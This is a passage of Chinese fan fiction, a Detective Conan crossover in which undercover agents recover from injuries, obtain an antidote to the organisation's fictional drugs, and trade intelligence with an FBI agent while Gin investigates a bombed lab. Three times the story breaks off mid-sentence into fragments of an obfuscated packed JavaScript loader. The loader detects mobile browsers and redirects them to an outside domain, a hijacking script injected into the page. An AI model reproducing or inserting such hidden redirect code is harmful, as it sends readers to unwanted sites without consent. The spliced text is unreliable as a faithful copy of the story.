伤口肯定又裂开了,湿热的液体浸透着背后的绷带和布料,他是否应该庆幸自己起码没有在琴酒面前露出破绽。 竹取无尘咬咬牙,顶着明显疲劳驾驶的名头冲回了自己的安全屋———屋子里那套带着血和火药味的衣物还没处理,止血的绷带和药物更是被随意散落在桌上,血腥味更甚。 诸伏景光被他安置在了客房里,需要有人随时照看,防止药物作用出现意外。 但是他可能有些无暇顾及。 精神力值依旧维持在5%这个快要告罄的危险节点,能撑住一晚上和FBI还有组织的人周旋已经是极限。 需要人帮忙。 还好还有一个好同事。 希望对方已经回日本了。 【手机通讯】prosecco:苏格兰在我手上。 【手机通讯】prosecco :『详细地址』『房门密码』。 【手机通讯】bourbon :? 【手机通讯】prosecco :不准报警。 【手机通讯】bourbon :? 听到幼驯染为了完成公安的任务,被组织判定为任务失败且需要关押受审,降谷零以最快的速度结束了在美国的情报工作,坐上了当天最早一班回日本的飞机。 然后年轻的公安一下飞机,就看到了这么一条消息。 降谷零:? 珀洛塞可在干什么? 064 琴酒回到了自己的保时捷365A,发现自己的车上有一箱不明物体。 “伏特加,解释一下这是什么。” 司机推了推墨镜,讪笑道:“大哥…这是珀洛塞可发消息让我去他车上拿的菊花茶…我看反正不要白不要……” 琴酒:…… “嘭。” 一箱茶叶被杀手一脚踹出了车,无辜地被离去的汽车尾气包围。 24.第 24 章 065 降谷零按照通讯中给出的密码按开了安全屋房门,天已经完全黑了下来,血腥味混着药味比房间内的画面先一步冲进人的脑海。 年轻的公安走进房,屋内只开了一盏亮着微弱光芒的落地灯。 安静无声。 他看着已经倒在沙发上的竹取无尘,脚边是凌乱的绷带、带血的衣物还有滚落的药,又转头发现自己的幼驯染在客房里躺着。 公安的呼吸一滞。 谁能够告诉他、这两个人到底发生了什么。 他只是出差了一个星期。 一个星期而已。 这两个人怎么把自己折腾成了这个鬼样子。 按照竹取无尘给自己发的消息,对方应该是在安抚自己不用担心,也不用送去医院以免打草惊蛇之类。 降谷零先确认了一下竹取无尘的体温和呼吸都一切正常,只是不知道为什么暂且晕了过去,他又走进客房打开灯,看见诸伏景光陷在被子里,呼吸绵长而安稳,脖子上有一个显眼的针孔,不用猜都知道这是AMS008的手笔。 所以hiro目前这个状况应该和之前竹取无尘的情况差不多,而自己只需要盯着他会不会出现别的问题,等待对方醒来就行。 这同时代表着组织的药剂并没有让他们暴露。 他获取过很多THK和AMS系列的情报,目前为止在他所知道的范围内,只有竹取无尘没有被这两个药物控制。 而现在诸伏景光也没被控制。 这说明什么?竹取无尘又在这件事里发挥了什么作用? 他检查着幼驯染的身体,没有明显的外伤,只有左侧锁骨下有一处已经包扎好的伤口。 所以外面那一堆染了血的物品不是出自于诸伏景光。 “叩叩。” 敲门声。 公安整理好友衣物的手一顿,单手持枪放在身后,走去了门边。 这里是竹取无尘的安全屋,他敢把他和诸伏景光往这边带,就表示这个地点完全安全,只有他信任的人才能找到这里。 所以来的人会是谁? 降谷零一边思考一边打开门,一位扎着高马尾的女性站在门口。 他自然查到过她———这人是竹取无尘的联络人桐生晴。 桐生晴看见开门的人,挑了下眉,率先开口说道:“不用告诉我你是谁,既然你出现在这里,就代表竹取他信任你。” “他说今明两天可能会有人来,而他不一定能顾及到,让我过来帮他盯着,顺便带个东西。” 一只小小的药瓶被警官递了过来。 “这应该是他想让我拿给你的。” 降谷零接过药瓶,拧开了瓶盖,一片小小的白色药片躺在了里面:“这是?” “THK的解药。” “…你说什么?” “THK的解药,我们加急化验过了,他自己也吃过了,确定没有问题。” 公安听到这话,一下捏紧了药瓶,抬头看着面前这位棕发警官。 “你们从哪里得到这个东西的?” 桐生晴叹了口气:“中岛本木这件事把他逼得太急,昨天晚上他就直接去炸了大半个实验基地,把这个东西带了出来。” “还有相关的口供和资料,我会整理发送到他的邮箱。” 现在所有的问题都有了答案。 “好。”降谷零深吸一口气,点了点头,“辛苦你们了。” 棕发警官摇了摇头,她的目光往屋内探了探,但是看不见那人目前的是否在屋内,她又提了一袋东西递给门口和她说话的人。 “昨天的状况很乱,我估计他可能受了伤,这些是我个人买给他的药,如果他不在的话,麻烦你代我给他。” “好。”公安再一次点头示意,目送这位警官离开。 降谷零锁上了门,神色复杂地看着倒在沙发上的竹取无尘———这人肯定只告知了他的联络人,桐生晴肯定也配合他只联络了直属上级,所以消息才没有流通到他这里,而这人真的就只带着一位联络人和一堆炸弹,一个人闯进了组织的基地,结果还真的让他把东西带出来了。 所以诸伏景光才没有栽在AMS008上面。 这真是…… 他之前怎么没发现这人有个人英雄主义的倾向。 降谷零侧坐在沙发上,瞥了一眼地上乱七八糟的东西。 如果说诸伏景光身上没有伤口,那么就意味着…… 公安缓缓地掀开盖在青年身上的那件衬衣,背上的绷带是新换的,但是也隐隐开始渗血。 唯一的不算好的好消息是对方只有背上这一片伤口。 他闭了闭眼,帮青年换了药和绷带———不知道对方被什么东西砸中了,一大片擦伤挂得后背凌乱不堪,新伤旧伤交错,而且因为没有及时处理,已经有发炎化脓的趋势。 所以是因为自己跑去炸了基地,试了药,救了诸伏景光,现在才倒在这里的吗? 降谷零只能根据现有的情报推测到这里,他跑去又检查了一遍自家幼驯染的情况,又回来坐在了沙发上。 他需要等这两个人醒过来。 要是明晚之前醒不过来,他就会直接一通电话把这两个不要命的人丢进警察厅名下的医院躺个一两个星期。 金发公安揉了揉头发。 组织的任务和公安的任务而已,大不了他替这两人全部做了。 公寓陷入了沉寂,偶尔有车鸣从窗外由远及近地传来。 067 【“电车难题”】 电车正常行驶,会导致五人死亡。转动把手,电车转向,会导致一人死亡。 『肯定选择转动把手啊。』 他看向对方,那人正擦着枪,并没有抬头看他。 【可是另一个人本不该死。】 他们在难得安稳的夜晚里交谈。 『那我赎罪?』 【可是你也救了五个人。】 『……你是想说这个问题很难回答是吗?』 对方点了点头。 『为什么一定要有一辆电车?』 对方抬眼,其实他们有着极像的眼睛。 【我们都没有办法控制电车的到来,竹取无尘。】 『所以电车一定会来。』 【电车一定会来。】 对方放下了枪,起身和他并排站在窗口———这里可以远眺到他们故乡的一角。 【你甚至应该要感谢命运,让你能拿到那一只控制车辆是否转向的把手。】 【在电车到来的时候,大多数的我们都在铁轨上躺着,或者站在一边———只是路过而已】* 『所以我们都无能为力。』 【我们都无能为力。】 新世界滚滚而至。 『那我们能做什么?』 『能避免更多的死亡吗?』 【…………能吗?】 死亡是必须的吗? 为什么不管怎么做都逃不开注定的死亡。 太阳骨碌碌地滚到了脚边。 低头一看,原来是亡灵的头颅。 068 “zero,他这是晕了多久?” “我不清楚,不过最少已经有一天了。” 金发公安盘算着时间,窗外是又一次的日落,深秋的黄昏萧瑟而血红,有风扫过枯枝,带来细微的颤动。 其实每一天的日落都一个样。 自己的幼驯染在今天中午就已经醒过来了,但是竹取无尘却依旧在沙发上一动不动,他甚至已经想把这人丢进医院,但对方偶尔冒出的含糊不清的呓语和完全正常的体温又表示他确实没有什么大碍。 背后的伤口也已经处理妥当,同样吃了解药的hiro也没事。 他和hiro把这人翻来覆去研究了半天,也没别的事,就是不醒。 到底为什么会晕这么久? “你说他一个人跑去……警视厅那边……这样啊…” “难怪他………” “要不我们还是………”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442546|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “再观察一晚上,实在不行……” 悉悉索索的声音代替回忆钻进竹取无尘的耳朵,意识逐渐回笼。 他刚刚要做什么来着? 噢,他正要给自己换药,但是精神力耗尽得太多,再加之体力消耗太大,根本没有办法自我恢复,貌似就直接晕过去了。 精神力值恢复至10% 好消息,起码现在缓慢恢复到了可以自如行动的水平。 青年缓缓睁开眼,有光亮刺进,他看到面前的这两人正转身看向他。 “我……咳咳…我没…咳咳咳……” 嗓子一开口就痒得厉害,一句成串的句子都说不出来。 自己上辈子这辈子当卧底这么多年都没有这么狼狈过,这到底怪谁。 脑海里出现了两个长发男的身影。 呵呵。 “水。” 诸伏景光看到竹取无尘醒了过来,挣扎着要坐起来说什么,顺手扶了对方一把,又递过了放在桌子上的水杯。 他看着青年仰头,杯中的水见底后,那双和往常一样的黑瞳才再次看向他们。 竹取无尘顺了口气:“我没事,我没事。” “小问题,太久没睡觉了,补个觉而已。” “补觉?” “补觉补得我进了你的房子也没把你吵醒,补得我直接碰了你的伤也没把你弄醒?” 降谷零才不可能信对方这种言论,他昨天晚上进这间屋子的时候,这人可是一点反应都没有。 “下次有人进来给你一枪你是不是也不会醒?” 他对上那双漆黑的瞳孔。 “额……” 青年的手指敲击着手中的玻璃杯,其实降谷零说得很对,这种情况确实很危险,精神力耗尽导致昏迷后,人基本不可能再对外界做出什么反应,这也代表着在这个时期,想杀死他轻而易举。 他抬头,对着皱眉的金发公安笑了笑。 “所以我才会给你发消息。” “能知道这里的也只有你们和我的联络人,我昏不昏迷无所谓吧———难不成你们会进来给我一枪?” 所以他还是没有解释自己为什么会晕这么久。 他和幼驯染对视了一眼,猫眼青年微微摇了摇头。 “那么,竹取。” 诸伏景光接过青年手上那一只空了的杯子,搁在了茶几上。 “你塞给我的那一片药是解药对吗?” “啊…对的。”青年点点头,“我前天晚上刚弄到手的,黑麦和我都吃了,你们放心,没问题的。” “?” 两位卧底的思绪被这人的话弄得一顿。 谁、和谁、吃了、什么? “你说谁?” 或许公安自己都没有意识到自己的声线带着不少震惊。 “你们两个见过的啊。” 竹取无尘故意地坏笑了一下,他成功转移了这两人试图探究他晕过去的原因的注意力。 “黑麦威士忌,真名赤井秀一,FBI探员。” “可信度很高,但是你们两个就不用出面了,可以通过我联系他。” “所以啊降谷,”青年看到金发同事摆在一边的小药瓶,“没事的。” “实验基地那边我全部安排好了,等公安把资料发过来就行。” “比起我,诸伏,你往自己身上开的那一枪恢复了吗?” 诸伏景光还沉浸在黑麦威士忌是FBI的震惊中,下意识就回答了青年的问题:“已经好……额……” 他突然感受到了自家幼驯染的凝视。 “原来你这个伤是这么来的啊…诸伏景光。” 熟悉的声音里带有不算好的情绪,猫眼青年的眼神在房间里乱瞟,独独不敢和面前盯着自己的人对视。 “你应该知道这里离心脏和肺有多近吧?” “zero…这个……事态紧急……” 竹取无尘绝对是故意的。 “不好好说说你们到底都干了什么吗?” 25.第 25 章 069 降谷零问清楚了事情的来龙去脉。 事情太复杂,他一时无法评论这两个人的做法,但是他也明白,这已经是当下他们做到的最优解,甚至是上上签。 中岛本木没有死,诸伏景光没有暴露,解药到手,黑麦的真实身份被挖出,甚至波特酒和维洛都活着被丢到了警局里。 他沉默地下楼,买了两份粥拿给屋子里的两位伤员。 不是降谷零不想亲自下厨,实在是当他看到竹取无尘的冰箱里满满当当全是巧克力的时候,本就说不出话的公安更加无语了。 “你这样很危险。”公安看着椅子上基本恢复了的竹取无尘。 “组织的人不是傻子,你的行动轨迹和出事的地点高度重合,你凭什么觉得他们怀疑不到你?” 特别是被琴酒一类的人物怀疑上,那就无疑是把自己架在了断头台。 青年慢吞吞地搅着手里的粥:“凭他们太相信自己的药?” “凭他们觉得自己有本事能操控所有人?” 他有点恶劣地笑了。 总有人觉得自己可以用手段控制所有人。 不管是阿蒂斯、瑟克尔党、还是这个组织。 可是人是自由的。 “而且就算我出事了,这不是还有你们吗?”他看着诸伏景光那双沉静的蓝眸,“你说是吧,看我很不爽的苏格兰大人。” 降谷零:? 诸伏景光:……… “这个剧本看起来是要一直演下去了啊。”猫眼青年想到两个人在医疗点的对话,无奈道。 金发公安左右审视着两个人奇怪的气氛:“你们是不是还有别的事没告诉我。” “是啊zero!”诸伏景光顺势搭着降谷零的半边肩膀。 “珀洛塞可想杀了我啊!” 降谷零:? 竹取无尘:? 诸伏景光绝对是故意的吧! 070 019号医疗点。 “大哥,具体情况就是这样。” 伏特加抱着一叠资料,周边是组织的人从废墟里清扫出来的尸体。 “朗姆认为这场事故是美国科西嘉财团那边为了救波特酒所导致的,维洛的实验室被人放火烧毁,我们找到了一具烧焦的尸体,化验下来确实是维洛的DNA。” “THK的解药呢?” 琴酒听着伏特加的报告,绿眸扫过周边草地上的尸体,有些尸体上有明显的枪伤,不过并没有击中要害。 今天下过雨,些许泥点沾上了本来锃亮的皮鞋。 “波特酒那帮人应该没有问出保险箱密码,箱体有被试图暴力撬开的痕迹,但是对方没能打开,最后清点了一下,所有的药品都对得上数量。” “呵。” 杀手一路直直走向废墟,试图从边上被爆炸轰出的口子里走进建筑。 “大哥…你要进去吗…这里看着快塌了……” “死不了,伏特加,跟上。” “……好的大哥。” 伏特加只能跟着自家大哥走进建筑,他觉得大哥好是好,就是太执着于抓叛徒,执着得命都不要了往废墟里钻。 雨水并没有冲散火药味,反而带着泥土的腥味在废墟里扩散,一地的肢体碎片直看得人想吐。 伏特加觉得这地真的是让人毛骨悚然。 琴酒的手不自觉地想点只烟,却又想起来这地刚被轰炸过,只能作罢。 他看着已经被炸成水泥石块叠加态的楼梯,转身走进了不远处的实验室———这里已经看不出原来的样子,化学材料被灼烧的气味刺痛了眼睛。 杀手一步一步迈进去,一个在地上突兀的玩意吸引了他的注意力。 男人蹲下,也不管风衣摆是否落在满是灰和碳的地面,那双带着手套的手拿起了地上那两枚东西。 在一边站着的伏特加凑了过去,看见大哥手上的玩意,整张脸都近乎扭曲。 “大…大哥……这…这是…” “手指。” 而且是断口很整齐的手指。 “呵……呵呵…大哥…这里肯定又是爆炸又是坍塌的,所以有这种东西也…合理对吧…哈哈…我们把它放下行吗?” 琴酒看了一眼自己这位不成器的小弟,把手中的东西一丢,接着打量着这间完全被烧焦的实验室———所有痕迹都在大火中湮灭了。 “走了。” “好的大哥!” 伏特加听到这句话,复活了一样地重新跟上大哥。 杀手只是从另一侧的破洞中走出建筑,并未离去,转而沿着建筑的边缘,开始缓慢地巡视。 雨后潮湿的味道清散了刚刚的不适,四周空无一人,警方在上午来过,匆匆把事件定性成了房屋老旧造成的燃气爆炸,随后又匆匆撤离。 琴酒没有接着说话,空气里只有皮鞋踩过草地时,那低微的,枯草被踩折的沙沙声响。 他侧头,一个不大的孔洞在唯一比较完好的墙面上扎眼。 孔洞出现在一米七上下,正好是一个身高较高的人的咽喉处。 杀手点了点手指,手中的烟盒开开,又被男人反手关上。他在思考,什么样的情况下,一面完好的水泥墙上会出现这样一个孔洞? 孔洞呈竖椭圆状,不是弹孔,飞镖也造不成这种损害。 反而更像是……刀? 一个穿着黑色大衣的身影出现在了琴酒的脑海中。 三年前,那天的雨夜,那天他至今忘不掉的、啃噬着整个人的痛苦,凌乱的思绪雨点一样砸中他,冲淡了身边厚重的血腥,那把银色的伯/莱/塔到底是指着对方,还是在指着自己的心脏? 到这里他反而记不清了。 喘息声,他还能想起来那天的喘息声。 和那双融进黑夜里的瞳孔。 一切都转进了那片黑色的漩涡。 他竟然还活着。 “大哥你…还好吗?” 伏特加看着自己大哥失心疯一样对着一面墙笑出了声。 这个实验基地绝对不干净,他大哥都被鬼上身了! “开车,伏特加,我们回去了。” 没有击中要害的子弹,疑似刀口的孔洞,切口整齐的手指,抓住波特酒的时机,把波特酒丢到019实验基地的人。 男人发出一声讥讽的轻笑。 那么,在THK药物作用下回答得滴水不漏的珀洛塞可,昨天晚上在干什么呢。 伏特加惊恐地发现坐在一旁的大哥又看着后视镜自顾自地笑了。 司机一路提心吊胆地送琴酒到了目的地,又心神不宁地回了家,打开论坛。 【唯洋子与金酒不可辜负】:【求助】缟纻家里有人去了一趟鬼屋,回来之后貌似被上身了怎么办。 评论区: 【momo】:『柚子叶.jpg』 【不买别问】:『柚子叶.jpg』 【这个世界的枪好难用】:让他喝点菊花茶。 【喜欢姐的狙击枪吗】:哈哈哈哈哈哈哈哈哈哈哈哈哈。 【接委托,可垫到190】:『柚子叶.jpg』 071 【电脑通讯】:所有资料已经在附件中给出,请查收。 【PDF文档】 药物名称:THK004 蓝色透明药丸,作用于中枢神经系统,具有神经毒性,可能引起短期记忆障碍以及头痛,含潜在致敏物质,对器官造成一定损害,服用超60天后患者出现全身性疼痛,存在致命隐患。 药物名称:IN004 触发因子,改良型乙烯类化合物,具有较强挥发性,常温下以气态存在,物质呈甜腥味,并能迅速通过呼吸作用进入血液循环,快速激发THK系列相关的过敏性药物作用。引发全身性剧烈疼痛反应,并伴有高热,反应通常为患者吸入后十分钟内出现。 注:该药物只在患者服用THK药物后30至70天内有效。 若患者并未服用THK药物,则该药物无效,且对于未服用THK药物的患者,该药物无特殊气味。 若患者服用SPL药物,则该药物无效。 若患者服用CAL解药,则该药物无效,且在服用解药后,患者口述该药物气味呈金属味。 药物名称:AMS008 触发因子,透明药剂,需皮下注射使用。具有强烈致幻、镇痛以及心理控制作用,患者表现为视听幻觉、情感强烈波动等。通常在注射后十至二十小时内出现昏迷状态,患者对外界刺激无反应,丧失知觉及意识。 注:需与THK系列配合使用,单独使用药物无效。 药物名称:SPL001 绿色透明药丸,服用后能够有效缓解由THK004和IN004引发的疼痛,解除由AMS008引发的致幻作用,其镇痛效果明显。使用该药物可能会引发生理成瘾。成瘾后的患者需要每60天服用一次指定剂量药物,否则将引发神经系统退行性疾病,表现为认知功能丧失及神经中枢损伤。 注:该药物损伤不可逆。 药物名称:CAL001 白色缓释片,THK、IN、AMS以及SPL系列的唯一解毒剂,解除THK潜在的致敏疼痛反应,有效中和以上系列药物产生的神经毒素,解除致幻以及药物成瘾状态。 注:患者服用CAL后,药物作用终身生效。 * 一份报告准点到达了竹取无尘的电脑,三名卧底沉默地看着屏幕上一行又一行的字眼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451578|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 降谷零蓝灰色的瞳孔停留在SPL001那一行上,“药物成/瘾”在一整篇毒物报告里格外扎眼。 这说明公安那只仿造的止痛剂根本防不到点上。 偷偷上交SPL001这种事肯定不止他一个人这么做过,难怪别的搜查官暴露得这么快。 “真阴啊。” 竹取无尘冷笑一声。 如果当时没有降谷零留个心眼,让他们少吃那个绿色药丸,他们也不会想起对一颗缓释剂产生防备心理。 他们可能就会真的相信这是“缓释剂”了。 当时,他在组织第一天见到的那些人,他们的精神画布原来是被这颗作为缓释剂的SPL001毁掉的。 降谷零当时精神画布上的裂缝,也是由于服用了剂量不足的SPL导致的。 防不胜防。 他是精神系能力者,大不了他就直接让阿蒂斯跨世界拿下一杀,没有人可以从他嘴里知道些什么、没有人可以控制他。 那别人呢? 不过还好…解药到手了———而且终生有效。 这堆破药没办法钳制他们了。 “所以你到底都干了什么?”金发公安给警察厅发送完相关的消息,他觉得对方还是没有把话说完。 “我干了什么啊…” 青年想起了那天晚上。 维洛说他要活,他更要他的家人活。 他看着对方,他说好。 “维洛选择跟我走,他说不管警方对他做出什么判决他都无所谓,他要先保证他的家人没事。” “他说他有CAL部分一轮的实验药物,虽然临床表现不如正式版,但是以假乱真没有问题。” “我要保证组织依旧相信THK药物作用的真实性,我本来想杀了维洛,伪造虚假的药物数量报告,只拿走两瓶,一片拿给诸伏,一片送给公安,让他们快点化验,尽量仿出一样的药物。” 竹取无尘转了一圈手中的笔。 “虽然这么做有风险并且花时间,但是这是我一个人能做到的最优解———然后维洛给我提供了一个更好的办法。” “我让我的联络人以最快的速度带着维洛往返两边,伪造了尸体,一把火烧光了那个实验室,而我遇到了赤井秀一,给了对方一份解药,商量了部分的合作——还好当时他躲过了我的那一刀。” “所以,”降谷零接着对方的话,“今天上午我的下属联系我,让我安排送两个人走,这两个人是维洛的家人?” “对,我不敢让警视厅的人接手这件事,只能拜托你们了,维洛必须重点保护,不管你们是把人关在警察厅,还是一起把人暂时送出国。” “还有波特酒,他也知道我拿到了解药,希望你们能帮忙,一起关过去。” “警视厅有内鬼,zero。” 一直在旁边听着两人对话的诸伏景光开口道。 “我的任务就是因为这个内鬼才变成这个样子的。” 猫眼青年想起来那一封来自琴酒的信息,这件事本不用发展成这样。 原本只用卡尔瓦多斯一个人去蹲监狱就行了。 但是总有人想用别人的命来换自己的仕途。 竹取无尘长长叹了一口气。 “没有情报,警视厅人员来往复杂,这人目前根本没有办法抓。” 降谷零:“你们两个的档案现在是?” 诸伏景光:“我已经安排人再加密处理了。” 三名卧底又陷入了长长的沉默。 会暴露吗? 没人说得清楚。 竹取无尘想着上辈子他冲自己开的那一枪。 这辈子总不能再来一次吧? 不能吧! “别想啦!”猫眼青年率先打破了沉默,“二位晚上有什么想吃的吗?我今天可以下厨。” “什么都可以噢,hiro。” “竹取你呢?” “没有忌口,不过苏格兰大人竟然会做饭吗!” “大人你不会给我下毒吧。” “不…这种时候就不要提这个剧本了吧……” 这件事情算是结束了。 风从半开的窗户中吹了进来,不算冷,带来秋末独有的潮湿气息,呼吸在此刻终于畅通起来。 竹取无尘借口着下楼买零食,离开了这个今夜温馨的安全屋。 刚刚他感知到了一张他无比熟悉的精神画布。 “既然来了,为什么又不敢出来见我?” 一道视线,来自那个很熟悉的人。 “你在心虚什么?” 视线消失了,街道一如往常的平静。 青年歪了歪头,拿着买好的零食,自嘲一笑:“随你吧。” 人会有自己的选择。 26.第 26 章 072 “我想这份资料你应该会需要的。” 竹取无尘站在巷口最里的死角,看着面前的FBI探员,递过了那份写满药物作用的文件。 赤井秀一整理了一下针织帽,接过文件:“日本公安的速度什么时候这么快了?” “日本公安?”青年的声线里莫名带着一股嘲弄,“我以为我在代表个人和你说话。” 他背靠着墙,光没有打在他的身上。 “代表个人?”赤井秀一饶有兴趣地把注意力从资料上转移到了面前的人,“代表个人在组织卧底吗?” “一个正确的立场而已,不用这么在意吧。” 竹取无尘扯了扯嘴角,官方的立场为他的一切行动提供了至高无上的背书,但与此同时,他也需要遵守这层身份的基准———在这里他的身份是一名公安警察,而并非阿蒂斯的人。 毕竟有些东西写作“阿蒂斯官方特卫科执行官”,读作“间谍特工”。 虽然都是卧底,但这两个的区别可大了去了,一位警察可不能随时随地动刀杀人。 多么光明的职业。 但是对他来说是一件矛盾的事情。 那天晚上的电车难题根本就没有得到解答——甚至在来到这个世界之后,这个问题的矛盾点更是加剧。 但是他也在努力尝试着适应这个身份,毕竟他也不想在事情结束之后,喜提一张通缉令。 除了他自己,谁又能审判他? “我们的目的一样就够了。” 他的指尖敲了敲对方手中的资料。 “这份文件你不能带回去,我建议你记住了之后还给我。” “这么谨慎啊。”赤井秀一勾了勾嘴角,低头翻阅着资料。 “谨慎点总没错。”竹取无尘耸了耸肩,他连自己警视厅的人都已经不信了,又怎么可能相信FBI的人。 “SPL……”男人默念着手中的文件,时不时皱眉,最后变成了一声冷笑。 “这个组织真是……” 他拿出放在口袋里的打火机,火焰“啪”一声冒出,手中的纸片在一片温暖中燃烧殆尽。 火光映照进青年漆黑无光的瞳孔,他撇了一眼一边的探员———他刚刚说的可是让对方把资料还给他。 不过无所谓了。 “那么,你是作为好心来告诉我这份资料,还是作为利益交换呢?珀洛塞可。” 赤井秀一重新看着青年,尽管对方一开口就报出了他的名字,但现在他依旧不清楚这人叫什么。 对方到底是怎么知道他的信息的?那天他的杀意不似作假,是在发现了他没办法杀死自己后,才放弃了攻击性的行为。 所以这人是在那一瞬间才决定合作的,并不是他自己出现了什么纰漏。 那事情貌似就只有一个答案:珀洛塞可不知道在哪里见过他,或者曾经查到过他FBI的档案。 不过对方不愿意回答。 竹取无尘听到这个代号,想到了那天晚上探员说的那一堆话,他回答道:“fifty fifty。” 赤井秀一:…? 男人真觉得自己被逗笑了一瞬。 “所以你想交换什么?” “我需要你们在合适的时候给我提供一些合适的帮助。” “以个人的名义,还是以公安的名义?” 竹取无尘:“…当然是以个人的名义,赤井先生。” 他要是直接以公安的名义提出合作那还得了了,什么跨国跨机构的合作是在这种适合发生杀人抢劫案的巷子里谈成的啊。 “这是我、和、你、的交易。” 男人低低笑了一声,他说:“成交。” 073 【手机通讯】Gin:晚上八点,来2号据点。 【手机通讯】Prosecco: 好的大人。 其实单纯在组织做事真的很轻松。 竹取无尘看着自己久违的组织任务,如果没有两天前刚刚结束的一大通公安的行动的话,他应该已经放了大半个月的假才对。 但是很明显他不想在犯罪组织干活。 运气真的很差,他没得选,总不能卧底卧到一半辞职了吧——要是辞职的话,公安和组织两边的人都来追着他杀的吧! 运气真的真的很差,希望下辈子醒过来刷新职业的时候,不要再刷新成卧底了。 赤井秀一已经离开,青年伸了个懒腰,背上的伤口基本好了,精神力也完全恢复。 通常这种时候是不是代表着又要出事了。 他摇了摇头,试图把这种不详的念头甩出去,抬头看了看阴沉的天,走出小巷。 “砰。” 一道不算明显的枪响让竹取无尘脚步一顿。 声音来自一边的楼房,声响不大,但是由于没有消音器,他不可能听错。 不会真的出事了吧。 青年顺着枪响转头———楼房与楼房之间刚好飞过去一个人,那人顺势翻滚进入楼房的楼梯,一路往上直追着一个黑衣人。 飞过去的这人有点眼熟。* 好像、是前两天、才和他在安全屋开完小会的、降谷零。 发生了什么事让这位公安直接改用飞的了。 他又看向另一边的楼房,诸伏景光正从楼梯上往下飞奔。 虽然不知道发生了什么———竹取无尘把手伸进口袋——这里依旧揣着一把手术刀,但是能被这两位公安追着跑的,肯定也不会是什么好人。 青年距离楼房有一小段距离,他用了最快的速度赶到,在一路听着又是疑似炸弹、又是枪响的声音乱七八糟响起后,也只看到了那个黑衣人的背影从对面街道蹿出,而后面又跟着明显一大串是警察的人。 那他就很不适合出面了。 “离开!快点离开这里!楼上燃气泄露了!” “先生!麻烦你快点离开这里。” “先生!”伊达航看见竹取无尘还在驻足抬头看着楼上,就要急迫地冲他走过来。 青年看着男人焦急地驱散人群,很配合地先撤退到一边,融进身后的人群。 诸伏景光扶着明显受了伤的降谷零走下楼,两人在楼下却没有一丝要撤离的意思,他们紧紧盯着楼上。 时间在流淌,不明真相的人群在耳边嘈杂,但是竹取无尘却明显听到了那来自人群中心三人的心声。 他从来没有听到过诸伏景光和降谷零的心声———哪怕是在审讯室里,这他们都很好地控制住了自己,今天是第一次,他明显感受到了来自这两个人不安的情绪。 楼上有炸弹,而拆弹人员是对他们来说至关重要的人。 青年只能勉强从心声里抓取字眼。 短暂的等待后,他注意到有两人从楼上走下,遂即是越发小的心声。 那两人一前一后到达,五个人凑在一块击了个掌。 竹取无尘看着面前这一幕,心下了然,松开了手中的手术刀。 闹哄哄的人群眼见事态平息,渐渐散开,但是中间这五个人却没有离开的意思。 或许作为好同事,他应该去跟某些人打个招呼? “燃气泄露?”青年走上前,目光似有若无地略过刚刚从楼上飞过去的降谷零。 那一瞬间他在怀疑降谷零是不是也有异能———哪里有人敢不用勾爪直接跳的!上辈子他倒是见过一堆天上飞的地里钻的海里游的,可是这里是地球啊! 这人是不是还在好久之前说过他做事太冒进来着? “啊…是的先生,燃气泄露,我们现在已经控制住了,一会会有专门的人员来进行维修。” 伊达航认出了说话的人是刚刚配合自己撤退的那位。 “噢,这样啊,那就好。”竹取无尘颔首,又直接侧身和一边的降谷零对视。 “那这位先生,你没事吧?我看你刚刚好像从楼上飞过去了。” 看见竹取无尘走过来的降谷零一愣,说道:“谢谢关心,我没事。” 没事是吧。 没事他就要找点事了。 他眨眨眼,接着冲着金发同事挑衅:“那先生你不觉得你做事太冒进了吗?” 降谷零:………… 同样记得幼驯染说过什么话的诸伏景光:…… “哈?”一边站着的松田阵平听到这明显找事的话语,正要说点什么,被金发公安按了下肩膀,止住了话头。 “咳咳咳,抱歉石原君。”猫眼青年依旧扶着自家幼驯染,“事情和那边没有关系,我们会安排人后续收尾的,那个人被我击中了肩膀,应该走不远。” 竹取无尘听到了诸伏景光这话,手指不自觉地在口袋中轻轻点了一下自己常用的刀刃。 击中了肩膀——意味着他本有机会直接夺走对方的性命。毕竟只要枪口再向上偏移少许,子弹就能贯穿头颅。他不相信一个在组织里担任狙击手的人,会缺乏这样的准头。 但是诸伏景光没有这么做。 说实话,如果是他,他会做出和诸伏景光相反的选择。 公安警察啊……青年咀嚼着这个词,看着诸伏景光湛蓝色的瞳孔,里面倒映出了他的样子。 一旁的三位同伴听到这番对话,也不由得一怔。他们确实没有预料到这人和诸伏他们认识。 而且听着这话……对方也是公安? 青年轻笑一声,转换了语气:“抱歉抱歉,失礼的是我,一时没忍住。” 青年又满怀歉意地冲着降谷零一笑,拿出随身带着的OK绷和便携式止痛膏,塞进对方手里。 “虽然不知道有没有用,不过你看着用吧。” “谢谢你之前那只OK绷。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459152|184862||http|test|mini|href|location''.split(''|''),0,{})); () { 